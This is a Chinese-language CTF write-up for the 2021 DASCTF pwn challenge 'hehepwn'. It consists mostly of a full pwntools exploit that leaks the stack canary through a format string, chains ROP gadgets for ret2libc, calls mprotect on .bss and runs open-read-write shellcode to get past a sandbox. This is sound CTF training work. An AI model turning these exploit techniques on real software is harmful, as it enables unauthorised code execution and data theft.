2021 DASCTF Sept X 浙江工业大学秋季挑战赛 pwn hehepwn

利用格式化字符串泄露canary再ret2libc就可以了。
开了沙箱，可以先mprotect一下，再用shellcode来orw。

exp

from pwn import*

context.log_level='debug'
context.arch='amd64'
context.os = "linux"
context.terminal = ["tmux", "splitw", "-h"] 

local = 1
if local:
    r = process('./1111111')
else:
    r = remote("node4.buuoj.cn", 25963)
    
#libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6")
#libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6")
libc = ELF("./libc.so.6")

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda name,addr :log.success(name+":"+hex(addr))

def debug():
    gdb.attach(r)
    pause()

elf = ELF("./1111111")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x4007b8
pop_rdi = 0x400943
bss_addr = 0x601080

sla("Welcome! What is your name?\n", "%27$p")
ru("0x")
canary = int(rc(16), 16)
lg("canary", canary)

payload = "a" * 0x68 + p64(canary) + p64(0)
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

sla("What can we help you?\n", payload)
libc_base = u64(ru("\x7f")[-6:] + '\x00\x00') - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
open_addr = libc_base + libc.sym['open']
bin_sh = libc_base + libc.search("/bin/sh").next()
mprotect_addr = libc_base + libc.sym['mprotect']
gets_addr = libc_base + libc.sym['gets']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
pop_rax = libc_base + 0x3a738
pop_rdx = libc_base + 0x1b92
pop_rsi = libc_base + 0x202f8
lg("libc_base", libc_base)
lg("system_addr", system_addr)
lg("gets_addr", gets_addr)
#debug()


sla("Welcome! What is your name?\n", "Yongibaoi")

payload = "a" * 0x68 + p64(canary) + p64(0)
payload += p64(pop_rdi) + p64(bss_addr & 0xfffffffffffff000) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx) + p64(7)
payload += p64(mprotect_addr)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(0x100)
payload += p64(read_addr)
payload += p64(bss_addr)
sla("What can we help you?\n", payload)

sleep(1)

shellcode = shellcraft.open('flag')
shellcode += shellcraft.read(3,bss_addr + 0x100,100)
shellcode += shellcraft.write(1,bss_addr + 0x100,100)
shellcode = asm(shellcode)
sl(shellcode)

r.interactive()